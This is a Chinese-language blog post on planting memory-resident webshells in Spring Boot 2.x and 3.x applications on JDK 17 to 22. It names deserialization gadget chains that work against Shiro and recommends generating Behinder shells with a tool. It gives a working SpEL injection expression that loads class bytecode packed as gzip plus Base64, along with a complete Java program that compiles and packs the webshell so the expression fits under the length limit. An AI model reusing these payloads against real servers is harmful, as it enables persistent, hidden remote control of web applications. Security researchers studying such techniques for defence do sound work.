Springboot_jdk17-22通杀内存马
1diot9 Lv4

SpringBoot2.x.x

内存马生成

内存马生成可以用最新的jmg,把bypass jdk module看情况,jdk17+开了就行。

工具选Behinder,中间件选SpringMVC或者Tomcat都行。

字节码加载

CC+MethodHandles

最早出现在极客巅峰2024ez_java,也是没法用于shiro反序列化

参考:

https://xz.aliyun.com/news/14807

CC+TemplatesImpl

现在jdk17+已经能使用TemplatesImpl进行加载了。

参考:

https://jiecub3.github.io/zh/posts/java/chain/jdk17cc%E9%93%BE%E4%B8%8B%E5%88%A9%E7%94%A8templatesimpl/

那么就正常加载字节码即可。

注意,shiro反序列化用不了,因为shiro的类加载器只能加载jdk原生数组,而这里会用到Transform[]

JdkDynamicAopProxy+TemplatesImpl

一条springboot的原生链。shiro反序列化也能用。

参考:

https://fushuling.com/index.php/2025/08/21/%E9%AB%98%E7%89%88%E6%9C%ACjdk%E4%B8%8B%E7%9A%84spring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/

https://1diot9.github.io/2025/09/23/jdk17-Springboot%E9%93%BE/

SPEL

首先说一下哪些地方能执行SPEL:

1、写入xml,然后通过ClassPathXmlApplicationContext进行加载

2、存在SPEL注入的地方,能调用SPEL的地方

3、。。。还不知道

1
2
3
4
5
6
7
T(org.springframework.cglib.core.ReflectUtils).
defineClass('org.springframework.expression.Test',
T(org.apache.commons.io.IOUtils).toByteArray
(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream
(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),
T(java.lang.Thread).currentThread().getContextClassLoader(),null,
T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))

这里做了GZIP解压,因为不压缩的话,表达式长度超过10000,会触发报错,所以需要先行压缩一下。

除了T(org.apache.commons.io.IOUtils).toByteArray,还可以使用T(org.springframework.util.StreamUtils).copyToByteArray,后者更普适一些。

压缩用脚本,需要修改javaFilePath和javacPath变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package com.test;

import java.io.*;
import java.util.Base64;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPOutputStream;

public class Zip {

public static void main(String[] args) {
// 内存马代码文件
String javaFilePath = "Test.java";
String classFilePath = getClassNameFromJavaPath(javaFilePath) + ".class";
// 输出'gzip + Base64'的恶意字节码到文件
String outputFilePath = "SpELMemShell.txt";

try {
// 编译 .java 文件
compileJavaFile(javaFilePath);

// 检查 .class 文件是否已生成
if (!new File(classFilePath).exists()) {
throw new FileNotFoundException("The compiled class file was not generated.");
}

// 压缩并编码 .class 文件
String base64String = compressAndEncodeClassFile(classFilePath);

// 写入文件
writeToFile(outputFilePath, base64String);
} catch (IOException e) {
System.err.println("Error processing the file: " + e.getMessage());
}
}

private static void compileJavaFile(String javaFilePath) throws IOException {
// 内存马中的Object.class.getModule()方法是在Java 9及更高版本中引入的,因此需要指定使用Java 9+的javac进行编译
String javacPath = "D:\\sec_software\\jdks\\jdk-17.0.6\\bin\\javac.exe";

List<String> command = new ArrayList<>();
command.add(javacPath); // 使用 javac 的完整路径
command.add("-g:none");
command.add("-Xlint:unchecked");
command.add("-Xlint:deprecation");
command.add(javaFilePath);

ProcessBuilder processBuilder = new ProcessBuilder(command);
Process process = processBuilder.start();

// 等待编译完成
try {
int exitCode = process.waitFor();
if (exitCode != 0) {
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String line;
while ((line = errorReader.readLine()) != null) {
System.err.println(line);
}
throw new RuntimeException("Compilation failed with exit code " + exitCode);
}
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException("Compilation interrupted", e);
}
}

private static String compressAndEncodeClassFile(String classFilePath) throws IOException {
byte[] classData = readFile(classFilePath);

// 使用 gzip 进行压缩
byte[] compressedData = compress(classData);

// 将压缩后的数据转换为 Base64 编码
String encodedCompressedData = Base64.getEncoder().encodeToString(compressedData);

// 输出原始长度和新的 Base64 编码长度
System.out.println("Original Base64 encoded string length: " + classData.length);
System.out.println("New Base64 encoded string length after gzip compression: " + encodedCompressedData.length());

return encodedCompressedData;
}

private static byte[] readFile(String filePath) throws IOException {
try (FileInputStream fis = new FileInputStream(filePath)) {
byte[] data = new byte[fis.available()];
fis.read(data);
return data;
}
}

private static byte[] compress(byte[] data) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (GZIPOutputStream gzos = new GZIPOutputStream(baos)) {
gzos.write(data);
}
return baos.toByteArray();
}

private static void writeToFile(String filePath, String content) throws IOException {
try (BufferedWriter writer = new BufferedWriter(new FileWriter(filePath))) {
writer.write(content);
}
}

private static String getClassNameFromJavaPath(String javaFilePath) {
String fileName = new File(javaFilePath).getName();
return fileName.substring(0, fileName.indexOf('.'));
}
}

参考:

https://mp.weixin.qq.com/s/xfmHjgx5jQRLKkIR7XUCcg

SpringBoot3.x.x

内存马生成

还是用jmg,但是组件类型要改一下,中间件选Tomcat,组件类型选这两个:

JakataFilter或JakataListener

bypassmodule要开,springboot3只支持jdk17+

字节码加载

跟上面一样

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 61.3k 访客数 访问量